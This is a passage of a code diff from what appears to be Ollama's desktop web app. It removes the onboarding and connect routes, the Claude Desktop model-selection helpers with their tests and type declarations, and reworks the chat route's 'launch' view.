"Cloud models are off. Select an installed model in Settings.",
|
||||
"Ollama could not open Claude.",
|
||||
),
|
||||
).toBe("Cloud models are off. Select an installed model in Settings.");
|
||||
});
|
||||
|
||||
it("clears after native recovery when no action error remains", () => {
|
||||
expect(claudeDesktopRecoveryMessage(undefined, null)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("addClaudeModelSelection", () => {
|
||||
it("appends models below the limit", () => {
|
||||
expect(addClaudeModelSelection(["kimi-k3:cloud"], "qwen3:8b", 5)).toEqual({
|
||||
selection: ["kimi-k3:cloud", "qwen3:8b"],
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects a sixth selection with a clear message", () => {
|
||||
const selection = [
|
||||
"glm-5.2:cloud",
|
||||
"kimi-k3:cloud",
|
||||
"deepseek-v4-pro",
|
||||
"deepseek-v4-flash",
|
||||
"gemma4:26b:cloud",
|
||||
];
|
||||
const result = addClaudeModelSelection(selection, "qwen3:8b", 5);
|
||||
expect(result.selection).toBe(selection);
|
||||
expect(result.error).toBe(
|
||||
"Claude supports up to 5 models. Deselect one to add another.",
|
||||
);
|
||||
});
|
||||
|
||||
it("honors a smaller server-provided limit", () => {
|
||||
const result = addClaudeModelSelection(["qwen3:8b"], "llama3.2", 1);
|
||||
expect(result.selection).toEqual(["qwen3:8b"]);
|
||||
expect(result.error).toBe(claudeDesktopMaxModelsMessage(1));
|
||||
});
|
||||
|
||||
it("is a no-op for an already selected model", () => {
|
||||
expect(addClaudeModelSelection(["qwen3:8b"], "qwen3:8b", 5)).toEqual({
|
||||
selection: ["qwen3:8b"],
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("claudeDesktopUsableSelection", () => {
|
||||
it("replaces unavailable paid selections with an available free model", () => {
|
||||
expect(
|
||||
claudeDesktopUsableSelection([
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
selected: true,
|
||||
availability: "unavailable",
|
||||
reason: "upgrade_required",
|
||||
requiredPlan: "pro",
|
||||
},
|
||||
{
|
||||
name: "gemma4:31b-cloud",
|
||||
displayName: "gemma4:31b-cloud",
|
||||
selected: false,
|
||||
availability: "available",
|
||||
requiredPlan: "free",
|
||||
},
|
||||
]),
|
||||
).toEqual(["gemma4:31b-cloud"]);
|
||||
});
|
||||
|
||||
it("preserves selected models that remain available", () => {
|
||||
expect(
|
||||
claudeDesktopUsableSelection([
|
||||
{
|
||||
name: "gemma4:31b-cloud",
|
||||
displayName: "gemma4:31b-cloud",
|
||||
selected: true,
|
||||
availability: "available",
|
||||
},
|
||||
{
|
||||
name: "qwen3:8b",
|
||||
displayName: "qwen3:8b",
|
||||
selected: false,
|
||||
availability: "available",
|
||||
},
|
||||
]),
|
||||
).toEqual(["gemma4:31b-cloud"]);
|
||||
});
|
||||
|
||||
it("selects all available recommendations for a default catalog", () => {
|
||||
expect(
|
||||
claudeDesktopUsableSelection(
|
||||
[
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
selected: false,
|
||||
availability: "available",
|
||||
},
|
||||
{
|
||||
name: "kimi-k3:cloud",
|
||||
displayName: "kimi-k3:cloud",
|
||||
selected: false,
|
||||
availability: "available",
|
||||
},
|
||||
],
|
||||
true,
|
||||
5,
|
||||
),
|
||||
).toEqual(["glm-5.2:cloud", "kimi-k3:cloud"]);
|
||||
});
|
||||
|
||||
it("returns no selection when no model is available", () => {
|
||||
expect(
|
||||
claudeDesktopUsableSelection([
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
selected: true,
|
||||
availability: "unavailable",
|
||||
},
|
||||
]),
|
||||
).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -1,82 +0,0 @@
|
||||
import type {
|
||||
ClaudeDesktopModelStatus,
|
||||
ClaudeDesktopStatus,
|
||||
} from "@/types/webview";
|
||||
|
||||
export const CLAUDE_INSTALL_TIMEOUT_MS = 120_000;
|
||||
|
||||
export function isClaudeConnectionComplete(
|
||||
enabled: boolean,
|
||||
status: ClaudeDesktopStatus,
|
||||
) {
|
||||
const configured = isClaudeConfigured(status);
|
||||
return enabled
|
||||
? configured && status.connected && !status.startFailed
|
||||
: !configured;
|
||||
}
|
||||
|
||||
export function isClaudeConfigured(status: ClaudeDesktopStatus): boolean {
|
||||
return status.configured ?? status.connected;
|
||||
}
|
||||
|
||||
export function claudeDesktopRecoveryMessage(
|
||||
statusError?: string,
|
||||
actionError?: string | null,
|
||||
): string | null {
|
||||
return statusError || actionError || null;
|
||||
}
|
||||
|
||||
export function scheduleClaudeInstallTimeout(onTimeout: () => void) {
|
||||
return window.setTimeout(onTimeout, CLAUDE_INSTALL_TIMEOUT_MS);
|
||||
}
|
||||
|
||||
// Claude Desktop has a bounded model list. The app supplies the limit when it
|
||||
// knows it; retain the existing five-model behavior for older app versions.
|
||||
export const defaultClaudeDesktopMaxModels = 5;
|
||||
|
||||
export function claudeDesktopMaxModels(
|
||||
status?: ClaudeDesktopStatus | null,
|
||||
): number {
|
||||
return status?.maxModels && status.maxModels > 0
|
||||
? status.maxModels
|
||||
: defaultClaudeDesktopMaxModels;
|
||||
}
|
||||
|
||||
export function claudeDesktopMaxModelsMessage(maxModels: number): string {
|
||||
return `Claude supports up to ${maxModels} models. Deselect one to add another.`;
|
||||
}
|
||||
|
||||
// Unavailable models remain visible for account guidance, but cannot remain
|
||||
// selected. Choose one available model when filtering would empty the list.
|
||||
export function claudeDesktopUsableSelection(
|
||||
models: ClaudeDesktopModelStatus[],
|
||||
selectAllAvailable = false,
|
||||
maxModels = defaultClaudeDesktopMaxModels,
|
||||
): string[] {
|
||||
const available = models.filter(
|
||||
(model) =>
|
||||
model.availability === undefined || model.availability === "available",
|
||||
);
|
||||
if (selectAllAvailable) {
|
||||
return available.slice(0, maxModels).map((model) => model.name);
|
||||
}
|
||||
const selected = available
|
||||
.filter((model) => model.selected)
|
||||
.map((model) => model.name);
|
||||
if (selected.length > 0) return selected;
|
||||
return available.length > 0 ? [available[0].name] : [];
|
||||
}
|
||||
|
||||
// addClaudeModelSelection returns the selection with name appended, or an
|
||||
// unchanged selection plus an error when the Claude model limit is reached.
|
||||
export function addClaudeModelSelection(
|
||||
selection: string[],
|
||||
name: string,
|
||||
maxModels: number,
|
||||
): { selection: string[]; error?: string } {
|
||||
if (selection.includes(name)) return { selection };
|
||||
if (selection.length >= maxModels) {
|
||||
return { selection, error: claudeDesktopMaxModelsMessage(maxModels) };
|
||||
}
|
||||
return { selection: [...selection, name] };
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
export interface IntegrationIcon {
|
||||
src: string;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export const INTEGRATION_ICONS: Record<string, IntegrationIcon> = {
|
||||
"claude-desktop": { src: "/launch-icons/claude.svg" },
|
||||
claude: { src: "/launch-icons/claude-code.svg" },
|
||||
hermes: { src: "/launch-icons/hermes-agent.svg" },
|
||||
"hermes-desktop": { src: "/launch-icons/hermes-agent.svg" },
|
||||
openclaw: { src: "/launch-icons/openclaw.svg" },
|
||||
opencode: {
|
||||
src: "/launch-icons/opencode.svg",
|
||||
className: "h-7 w-7 rounded",
|
||||
},
|
||||
codex: { src: "/launch-icons/codex.svg" },
|
||||
copilot: { src: "/launch-icons/copilot.svg" },
|
||||
droid: { src: "/launch-icons/droid.svg" },
|
||||
dsh: { src: "/launch-icons/deepseek-harness.svg" },
|
||||
pi: { src: "/launch-icons/pi.svg" },
|
||||
cline: { src: "/launch-icons/cline.svg" },
|
||||
omp: { src: "/launch-icons/oh-my-pi.svg" },
|
||||
pool: { src: "/launch-icons/poolside.svg" },
|
||||
qwen: { src: "/launch-icons/qwen-code.svg" },
|
||||
};
|
||||
@@ -1,51 +0,0 @@
|
||||
// Keep in sync with store.CurrentOnboardingVersion in app/store/store.go.
|
||||
export const CURRENT_ONBOARDING_VERSION = 1;
|
||||
|
||||
export type OnboardingAuthMode = "signin" | "signup";
|
||||
|
||||
export function onboardingConnectUrl(
|
||||
connectUrl: string,
|
||||
mode: OnboardingAuthMode,
|
||||
): string {
|
||||
const url = new URL(connectUrl);
|
||||
url.searchParams.delete("launch");
|
||||
if (mode === "signup") {
|
||||
url.searchParams.set("signup", "true");
|
||||
} else {
|
||||
url.searchParams.delete("signup");
|
||||
}
|
||||
return url.toString();
|
||||
}
|
||||
|
||||
export const AUTHENTICATION_TIMEOUT_MS = 5 * 60 * 1000;
|
||||
|
||||
export type OnboardingStep = "intro" | "welcome" | "apps" | "run";
|
||||
|
||||
export type OnboardingAction = "continue" | "authenticated" | "local";
|
||||
export type AuthenticationTimeoutAction = "ignore" | "defer" | "fail";
|
||||
|
||||
export function nextOnboardingStep(
|
||||
step: OnboardingStep,
|
||||
action: OnboardingAction,
|
||||
isAuthenticated: boolean,
|
||||
): OnboardingStep {
|
||||
if (action === "local") return "run";
|
||||
if (step === "intro" && action === "continue") {
|
||||
return isAuthenticated ? "apps" : "welcome";
|
||||
}
|
||||
if (step === "welcome" && action === "authenticated") return "apps";
|
||||
return step;
|
||||
}
|
||||
|
||||
export function authenticationTimeoutAction(
|
||||
settled: boolean,
|
||||
checking: boolean,
|
||||
): AuthenticationTimeoutAction {
|
||||
if (settled) return "ignore";
|
||||
if (checking) return "defer";
|
||||
return "fail";
|
||||
}
|
||||
|
||||
export function homeChatId(): "new" {
|
||||
return "new";
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
export function isWindowsPlatform(): boolean {
|
||||
if (typeof window !== "undefined" && window.OLLAMA_PLATFORM) {
|
||||
return window.OLLAMA_PLATFORM === "windows";
|
||||
}
|
||||
|
||||
return (
|
||||
typeof navigator !== "undefined" &&
|
||||
navigator.platform.toLowerCase().includes("win")
|
||||
);
|
||||
}
|
||||
@@ -12,8 +12,6 @@
|
||||
|
||||
import { Route as rootRoute } from './routes/__root'
|
||||
import { Route as SettingsImport } from './routes/settings'
|
||||
import { Route as OnboardingImport } from './routes/onboarding'
|
||||
import { Route as ConnectImport } from './routes/connect'
|
||||
import { Route as IndexImport } from './routes/index'
|
||||
import { Route as CChatIdImport } from './routes/c.$chatId'
|
||||
|
||||
@@ -25,18 +23,6 @@ const SettingsRoute = SettingsImport.update({
|
||||
getParentRoute: () => rootRoute,
|
||||
} as any)
|
||||
|
||||
const OnboardingRoute = OnboardingImport.update({
|
||||
id: '/onboarding',
|
||||
path: '/onboarding',
|
||||
getParentRoute: () => rootRoute,
|
||||
} as any)
|
||||
|
||||
const ConnectRoute = ConnectImport.update({
|
||||
id: '/connect',
|
||||
path: '/connect',
|
||||
getParentRoute: () => rootRoute,
|
||||
} as any)
|
||||
|
||||
const IndexRoute = IndexImport.update({
|
||||
id: '/',
|
||||
path: '/',
|
||||
@@ -60,20 +46,6 @@ declare module '@tanstack/react-router' {
|
||||
preLoaderRoute: typeof IndexImport
|
||||
parentRoute: typeof rootRoute
|
||||
}
|
||||
'/connect': {
|
||||
id: '/connect'
|
||||
path: '/connect'
|
||||
fullPath: '/connect'
|
||||
preLoaderRoute: typeof ConnectImport
|
||||
parentRoute: typeof rootRoute
|
||||
}
|
||||
'/onboarding': {
|
||||
id: '/onboarding'
|
||||
path: '/onboarding'
|
||||
fullPath: '/onboarding'
|
||||
preLoaderRoute: typeof OnboardingImport
|
||||
parentRoute: typeof rootRoute
|
||||
}
|
||||
'/settings': {
|
||||
id: '/settings'
|
||||
path: '/settings'
|
||||
@@ -95,16 +67,12 @@ declare module '@tanstack/react-router' {
|
||||
|
||||
export interface FileRoutesByFullPath {
|
||||
'/': typeof IndexRoute
|
||||
'/connect': typeof ConnectRoute
|
||||
'/onboarding': typeof OnboardingRoute
|
||||
'/settings': typeof SettingsRoute
|
||||
'/c/$chatId': typeof CChatIdRoute
|
||||
}
|
||||
|
||||
export interface FileRoutesByTo {
|
||||
'/': typeof IndexRoute
|
||||
'/connect': typeof ConnectRoute
|
||||
'/onboarding': typeof OnboardingRoute
|
||||
'/settings': typeof SettingsRoute
|
||||
'/c/$chatId': typeof CChatIdRoute
|
||||
}
|
||||
@@ -112,33 +80,27 @@ export interface FileRoutesByTo {
|
||||
export interface FileRoutesById {
|
||||
__root__: typeof rootRoute
|
||||
'/': typeof IndexRoute
|
||||
'/connect': typeof ConnectRoute
|
||||
'/onboarding': typeof OnboardingRoute
|
||||
'/settings': typeof SettingsRoute
|
||||
'/c/$chatId': typeof CChatIdRoute
|
||||
}
|
||||
|
||||
export interface FileRouteTypes {
|
||||
fileRoutesByFullPath: FileRoutesByFullPath
|
||||
fullPaths: '/' | '/connect' | '/onboarding' | '/settings' | '/c/$chatId'
|
||||
fullPaths: '/' | '/settings' | '/c/$chatId'
|
||||
fileRoutesByTo: FileRoutesByTo
|
||||
to: '/' | '/connect' | '/onboarding' | '/settings' | '/c/$chatId'
|
||||
id: '__root__' | '/' | '/connect' | '/onboarding' | '/settings' | '/c/$chatId'
|
||||
to: '/' | '/settings' | '/c/$chatId'
|
||||
id: '__root__' | '/' | '/settings' | '/c/$chatId'
|
||||
fileRoutesById: FileRoutesById
|
||||
}
|
||||
|
||||
export interface RootRouteChildren {
|
||||
IndexRoute: typeof IndexRoute
|
||||
ConnectRoute: typeof ConnectRoute
|
||||
OnboardingRoute: typeof OnboardingRoute
|
||||
SettingsRoute: typeof SettingsRoute
|
||||
CChatIdRoute: typeof CChatIdRoute
|
||||
}
|
||||
|
||||
const rootRouteChildren: RootRouteChildren = {
|
||||
IndexRoute: IndexRoute,
|
||||
ConnectRoute: ConnectRoute,
|
||||
OnboardingRoute: OnboardingRoute,
|
||||
SettingsRoute: SettingsRoute,
|
||||
CChatIdRoute: CChatIdRoute,
|
||||
}
|
||||
@@ -154,8 +116,6 @@ export const routeTree = rootRoute
|
||||
"filePath": "__root.tsx",
|
||||
"children": [
|
||||
"/",
|
||||
"/connect",
|
||||
"/onboarding",
|
||||
"/settings",
|
||||
"/c/$chatId"
|
||||
]
|
||||
@@ -163,12 +123,6 @@ export const routeTree = rootRoute
|
||||
"/": {
|
||||
"filePath": "index.tsx"
|
||||
},
|
||||
"/connect": {
|
||||
"filePath": "connect.tsx"
|
||||
},
|
||||
"/onboarding": {
|
||||
"filePath": "onboarding.tsx"
|
||||
},
|
||||
"/settings": {
|
||||
"filePath": "settings.tsx"
|
||||
},
|
||||
|
||||
@@ -1,25 +1,40 @@
|
||||
import { createFileRoute, redirect } from "@tanstack/react-router";
|
||||
import { createFileRoute } from "@tanstack/react-router";
|
||||
import { useChat } from "@/hooks/useChats";
|
||||
import Chat from "@/components/Chat";
|
||||
import { getChat } from "@/api";
|
||||
import { SidebarLayout } from "@/components/layout/layout";
|
||||
import { ChatSidebar } from "@/components/ChatSidebar";
|
||||
import { useEffect } from "react";
|
||||
import LaunchCommands from "@/components/LaunchCommands";
|
||||
import { useEffect, useRef } from "react";
|
||||
import { useSettings } from "@/hooks/useSettings";
|
||||
|
||||
const launchSidebarRequestedKey = "ollama.launchSidebarRequested";
|
||||
const launchSidebarSeenKey = "ollama.launchSidebarSeen";
|
||||
const fallbackSessionState = new Map<string, string>();
|
||||
|
||||
function getSessionState() {
|
||||
if (typeof sessionStorage !== "undefined") {
|
||||
return sessionStorage;
|
||||
}
|
||||
|
||||
return {
|
||||
getItem(key: string) {
|
||||
return fallbackSessionState.get(key) ?? null;
|
||||
},
|
||||
setItem(key: string, value: string) {
|
||||
fallbackSessionState.set(key, value);
|
||||
},
|
||||
removeItem(key: string) {
|
||||
fallbackSessionState.delete(key);
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
export const Route = createFileRoute("/c/$chatId")({
|
||||
component: RouteComponent,
|
||||
beforeLoad: ({ params }) => {
|
||||
if (params.chatId === "launch") {
|
||||
throw redirect({
|
||||
to: "/c/$chatId",
|
||||
params: { chatId: "new" },
|
||||
mask: { to: "/" },
|
||||
});
|
||||
}
|
||||
},
|
||||
loader: async ({ context, params }) => {
|
||||
if (params.chatId !== "new") {
|
||||
// Skip loading for special non-chat views
|
||||
if (params.chatId !== "new" && params.chatId !== "launch") {
|
||||
context.queryClient.ensureQueryData({
|
||||
queryKey: ["chat", params.chatId],
|
||||
queryFn: () => getChat(params.chatId),
|
||||
@@ -32,19 +47,61 @@ export const Route = createFileRoute("/c/$chatId")({
|
||||
function RouteComponent() {
|
||||
const { chatId } = Route.useParams();
|
||||
const { settingsData, setSettings } = useSettings();
|
||||
const previousChatIdRef = useRef<string | null>(null);
|
||||
|
||||
// Always call hooks at the top level - use a flag to skip data when chatId is a special view
|
||||
const {
|
||||
data: chatData,
|
||||
isLoading: chatLoading,
|
||||
error: chatError,
|
||||
} = useChat(chatId === "new" ? "" : chatId);
|
||||
} = useChat(chatId === "new" || chatId === "launch" ? "" : chatId);
|
||||
|
||||
useEffect(() => {
|
||||
if (!settingsData) {
|
||||
return;
|
||||
}
|
||||
|
||||
const previousChatId = previousChatIdRef.current;
|
||||
previousChatIdRef.current = chatId;
|
||||
|
||||
if (chatId === "launch") {
|
||||
const sessionState = getSessionState();
|
||||
const shouldOpenSidebar =
|
||||
previousChatId !== "launch" &&
|
||||
(() => {
|
||||
if (sessionState.getItem(launchSidebarRequestedKey) === "1") {
|
||||
sessionState.removeItem(launchSidebarRequestedKey);
|
||||
sessionState.setItem(launchSidebarSeenKey, "1");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (sessionState.getItem(launchSidebarSeenKey) !== "1") {
|
||||
sessionState.setItem(launchSidebarSeenKey, "1");
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
})();
|
||||
const updates: { LastHomeView?: string; SidebarOpen?: boolean } = {};
|
||||
|
||||
if (settingsData.LastHomeView !== "launch") {
|
||||
updates.LastHomeView = "launch";
|
||||
}
|
||||
|
||||
if (shouldOpenSidebar && !settingsData.SidebarOpen) {
|
||||
updates.SidebarOpen = true;
|
||||
}
|
||||
|
||||
if (Object.keys(updates).length === 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
setSettings(updates).catch(() => {
|
||||
// Best effort persistence for home view preference.
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
if (settingsData.LastHomeView === "chat") {
|
||||
return;
|
||||
}
|
||||
@@ -63,6 +120,14 @@ function RouteComponent() {
|
||||
);
|
||||
}
|
||||
|
||||
if (chatId === "launch") {
|
||||
return (
|
||||
<SidebarLayout sidebar={<ChatSidebar currentChatId={chatId} />}>
|
||||
<LaunchCommands />
|
||||
</SidebarLayout>
|
||||
);
|
||||
}
|
||||
|
||||
// Handle existing chat case
|
||||
if (chatLoading) {
|
||||
return (
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
import { AppSidebar } from "@/components/AppSidebar";
|
||||
import { ConnectAppsScreen } from "@/components/Onboarding";
|
||||
import { SidebarLayout } from "@/components/layout/layout";
|
||||
import { createFileRoute } from "@tanstack/react-router";
|
||||
|
||||
export const Route = createFileRoute("/connect")({
|
||||
component: ConnectRoute,
|
||||
});
|
||||
|
||||
function ConnectRoute() {
|
||||
return (
|
||||
<SidebarLayout
|
||||
title="Connect your apps"
|
||||
sidebar={<AppSidebar current="apps" />}
|
||||
>
|
||||
<ConnectAppsScreen />
|
||||
</SidebarLayout>
|
||||
);
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
import { createFileRoute, redirect } from "@tanstack/react-router";
|
||||
import { getSettings } from "@/api";
|
||||
import { CURRENT_ONBOARDING_VERSION, homeChatId } from "@/lib/onboarding";
|
||||
|
||||
export const Route = createFileRoute("/")({
|
||||
beforeLoad: async ({ context }) => {
|
||||
@@ -8,11 +7,8 @@ export const Route = createFileRoute("/")({
|
||||
queryKey: ["settings"],
|
||||
queryFn: getSettings,
|
||||
});
|
||||
if (settingsData.settings.OnboardingVersion < CURRENT_ONBOARDING_VERSION) {
|
||||
throw redirect({ to: "/onboarding" });
|
||||
}
|
||||
|
||||
const chatId = homeChatId();
|
||||
const chatId =
|
||||
settingsData?.settings?.LastHomeView === "chat" ? "new" : "launch";
|
||||
|
||||
throw redirect({
|
||||
to: "/c/$chatId",
|
||||
|
||||
@@ -1,198 +0,0 @@
|
||||
import Onboarding from "@/components/Onboarding";
|
||||
import { getSettings } from "@/api";
|
||||
import { useSettings } from "@/hooks/useSettings";
|
||||
import { useUser } from "@/hooks/useUser";
|
||||
import {
|
||||
AUTHENTICATION_TIMEOUT_MS,
|
||||
authenticationTimeoutAction,
|
||||
CURRENT_ONBOARDING_VERSION,
|
||||
homeChatId,
|
||||
onboardingConnectUrl,
|
||||
type OnboardingAuthMode,
|
||||
} from "@/lib/onboarding";
|
||||
import { createFileRoute, redirect, useNavigate } from "@tanstack/react-router";
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
|
||||
export const Route = createFileRoute("/onboarding")({
|
||||
beforeLoad: async ({ context }) => {
|
||||
// Let developers review onboarding without resetting their local app data.
|
||||
if (
|
||||
import.meta.env.DEV &&
|
||||
new URLSearchParams(window.location.search).get("preview") === "1"
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
const settingsData = await context.queryClient.ensureQueryData({
|
||||
queryKey: ["settings"],
|
||||
queryFn: getSettings,
|
||||
});
|
||||
|
||||
if (settingsData.settings.OnboardingVersion >= CURRENT_ONBOARDING_VERSION) {
|
||||
const chatId = homeChatId();
|
||||
throw redirect({
|
||||
to: "/c/$chatId",
|
||||
params: { chatId },
|
||||
mask: { to: "/" },
|
||||
});
|
||||
}
|
||||
},
|
||||
component: OnboardingRoute,
|
||||
});
|
||||
|
||||
function OnboardingRoute() {
|
||||
const navigate = useNavigate();
|
||||
const { settingsData, setSettings } = useSettings();
|
||||
const { fetchConnectUrl, refetchUser, isAuthenticated } = useUser();
|
||||
const [isAwaitingAuth, setIsAwaitingAuth] = useState(false);
|
||||
const [signInError, setSignInError] = useState<string | null>(null);
|
||||
const [completionError, setCompletionError] = useState<string | null>(null);
|
||||
const authAttemptRef = useRef(0);
|
||||
|
||||
const completeOnboarding = useCallback(async (): Promise<boolean> => {
|
||||
setCompletionError(null);
|
||||
|
||||
try {
|
||||
if (!settingsData) {
|
||||
throw new Error("Settings are not loaded");
|
||||
}
|
||||
|
||||
await setSettings({
|
||||
OnboardingVersion: CURRENT_ONBOARDING_VERSION,
|
||||
});
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.error("Failed to save onboarding state:", error);
|
||||
setCompletionError("Unable to save setup. Please try again.");
|
||||
return false;
|
||||
}
|
||||
}, [setSettings, settingsData]);
|
||||
|
||||
const finishSetup = useCallback(() => {
|
||||
void completeOnboarding();
|
||||
}, [completeOnboarding]);
|
||||
|
||||
const openApps = useCallback(async (): Promise<boolean> => {
|
||||
if (!(await completeOnboarding())) return false;
|
||||
await navigate({ to: "/connect" });
|
||||
return true;
|
||||
}, [completeOnboarding, navigate]);
|
||||
|
||||
const retryCompletion = useCallback(() => {
|
||||
void completeOnboarding();
|
||||
}, [completeOnboarding]);
|
||||
|
||||
const authenticate = useCallback(
|
||||
async (mode: OnboardingAuthMode) => {
|
||||
setSignInError(null);
|
||||
|
||||
if (isAuthenticated) {
|
||||
return;
|
||||
}
|
||||
|
||||
const authAttempt = ++authAttemptRef.current;
|
||||
setIsAwaitingAuth(true);
|
||||
|
||||
try {
|
||||
const result = await fetchConnectUrl();
|
||||
if (authAttempt !== authAttemptRef.current) return;
|
||||
if (!result.data) {
|
||||
throw new Error("No sign-in URL was returned");
|
||||
}
|
||||
|
||||
window.open(onboardingConnectUrl(result.data, mode), "_blank");
|
||||
} catch (error) {
|
||||
if (authAttempt !== authAttemptRef.current) return;
|
||||
console.error("Failed to start sign in:", error);
|
||||
setIsAwaitingAuth(false);
|
||||
setSignInError("Unable to start sign in. Please try again.");
|
||||
}
|
||||
},
|
||||
[fetchConnectUrl, isAuthenticated],
|
||||
);
|
||||
|
||||
const signIn = useCallback(() => authenticate("signin"), [authenticate]);
|
||||
const signUp = useCallback(() => authenticate("signup"), [authenticate]);
|
||||
|
||||
const useLocal = useCallback(() => {
|
||||
authAttemptRef.current += 1;
|
||||
setIsAwaitingAuth(false);
|
||||
setSignInError(null);
|
||||
finishSetup();
|
||||
}, [finishSetup]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!isAwaitingAuth) return;
|
||||
|
||||
let checking = false;
|
||||
let settled = false;
|
||||
let timeoutPending = false;
|
||||
const authAttempt = authAttemptRef.current;
|
||||
|
||||
const failConnection = () => {
|
||||
if (settled || authAttempt !== authAttemptRef.current) return;
|
||||
settled = true;
|
||||
setIsAwaitingAuth(false);
|
||||
setSignInError(
|
||||
"Connection is taking longer than expected. Please try again.",
|
||||
);
|
||||
};
|
||||
|
||||
const checkConnection = async () => {
|
||||
if (checking || settled || authAttempt !== authAttemptRef.current) return;
|
||||
checking = true;
|
||||
|
||||
try {
|
||||
const result = await refetchUser();
|
||||
if (
|
||||
!settled &&
|
||||
authAttempt === authAttemptRef.current &&
|
||||
result.data?.name
|
||||
) {
|
||||
settled = true;
|
||||
setIsAwaitingAuth(false);
|
||||
window.activateOllama?.();
|
||||
}
|
||||
} catch (error) {
|
||||
console.error("Failed to check sign-in status:", error);
|
||||
} finally {
|
||||
checking = false;
|
||||
if (timeoutPending) failConnection();
|
||||
}
|
||||
};
|
||||
|
||||
void checkConnection();
|
||||
const pollingInterval = window.setInterval(checkConnection, 1000);
|
||||
const timeout = window.setTimeout(() => {
|
||||
const action = authenticationTimeoutAction(settled, checking);
|
||||
if (action === "ignore") return;
|
||||
if (action === "defer") {
|
||||
timeoutPending = true;
|
||||
return;
|
||||
}
|
||||
failConnection();
|
||||
}, AUTHENTICATION_TIMEOUT_MS);
|
||||
|
||||
window.addEventListener("focus", checkConnection);
|
||||
return () => {
|
||||
settled = true;
|
||||
window.clearInterval(pollingInterval);
|
||||
window.clearTimeout(timeout);
|
||||
window.removeEventListener("focus", checkConnection);
|
||||
};
|
||||
}, [isAwaitingAuth, refetchUser]);
|
||||
|
||||
return (
|
||||
<Onboarding
|
||||
completionError={completionError}
|
||||
isAuthenticated={isAuthenticated}
|
||||
isSigningIn={isAwaitingAuth}
|
||||
signInError={signInError}
|
||||
onOpenApps={openApps}
|
||||
onSignIn={signIn}
|
||||
onSignUp={signUp}
|
||||
onRetryCompletion={retryCompletion}
|
||||
onUseLocal={useLocal}
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -1,16 +1,6 @@
|
||||
import { AppSidebar } from "@/components/AppSidebar";
|
||||
import { SidebarLayout } from "@/components/layout/layout";
|
||||
import { createFileRoute } from "@tanstack/react-router";
|
||||
import Settings from "@/components/Settings";
|
||||
|
||||
export const Route = createFileRoute("/settings")({
|
||||
component: SettingsRoute,
|
||||
component: Settings,
|
||||
});
|
||||
|
||||
function SettingsRoute() {
|
||||
return (
|
||||
<SidebarLayout title="Settings" sidebar={<AppSidebar current="settings" />}>
|
||||
<Settings />
|
||||
</SidebarLayout>
|
||||
);
|
||||
}
|
||||
@@ -12,45 +12,6 @@ interface MenuItem {
|
||||
separator?: boolean;
|
||||
}
|
||||
|
||||
interface ClaudeDesktopStatus {
|
||||
supported: boolean;
|
||||
used: boolean;
|
||||
installed: boolean;
|
||||
configured?: boolean;
|
||||
connected: boolean;
|
||||
running: boolean;
|
||||
startFailed: boolean;
|
||||
portConflict: boolean;
|
||||
gatewayPort?: number;
|
||||
error?: string;
|
||||
modelSource?: "user" | "endpoint" | "fallback";
|
||||
maxModels?: number;
|
||||
models?: ClaudeDesktopModelStatus[];
|
||||
}
|
||||
|
||||
interface ClaudeDesktopModelStatus {
|
||||
name: string;
|
||||
displayName: string;
|
||||
description?: string;
|
||||
cloud?: boolean;
|
||||
selected: boolean;
|
||||
availability?: "unknown" | "available" | "unavailable";
|
||||
reason?:
|
||||
| "cloud_off"
|
||||
| "sign_in_required"
|
||||
| "upgrade_required"
|
||||
| "verification_unavailable"
|
||||
| "model_not_installed";
|
||||
requiredPlan?: string;
|
||||
}
|
||||
|
||||
interface ClaudeDesktopActionResult {
|
||||
status: ClaudeDesktopStatus;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
type ClaudeDesktopInstallResult = "opened" | "cancelled" | "failed";
|
||||
|
||||
interface WebviewAPI {
|
||||
selectFile: () => Promise<ImageData | null>;
|
||||
selectMultipleFiles: () => Promise<ImageData[] | null>;
|
||||
@@ -63,24 +24,9 @@ declare global {
|
||||
webview?: WebviewAPI;
|
||||
drag?: () => void;
|
||||
doubleClick?: () => void;
|
||||
activateOllama?: () => void;
|
||||
getClaudeDesktopStatus?: () => Promise<ClaudeDesktopStatus>;
|
||||
setClaudeDesktopConnected?: (
|
||||
enabled: boolean,
|
||||
) => Promise<ClaudeDesktopActionResult>;
|
||||
prepareClaudeDesktopConnection?: () => Promise<ClaudeDesktopActionResult>;
|
||||
openClaudeDesktop?: () => Promise<string>;
|
||||
installClaudeDesktop?: () => Promise<ClaudeDesktopInstallResult>;
|
||||
getShowAppsInMenu?: () => Promise<boolean>;
|
||||
setShowAppsInMenu?: (visible: boolean) => Promise<void>;
|
||||
restartClaudeDesktop?: (
|
||||
models: string[],
|
||||
) => Promise<ClaudeDesktopActionResult>;
|
||||
setOnboardingWindow?: (enabled: boolean) => void;
|
||||
menu: (items: MenuItem[]) => Promise<string | null>;
|
||||
OLLAMA_TOOLS?: boolean;
|
||||
OLLAMA_WEBSEARCH?: boolean;
|
||||
OLLAMA_PLATFORM?: "darwin" | "windows";
|
||||
}
|
||||
|
||||
namespace JSX {
|
||||
@@ -100,13 +46,4 @@ declare global {
|
||||
}
|
||||
}
|
||||
|
||||
export type {
|
||||
ClaudeDesktopActionResult,
|
||||
ClaudeDesktopInstallResult,
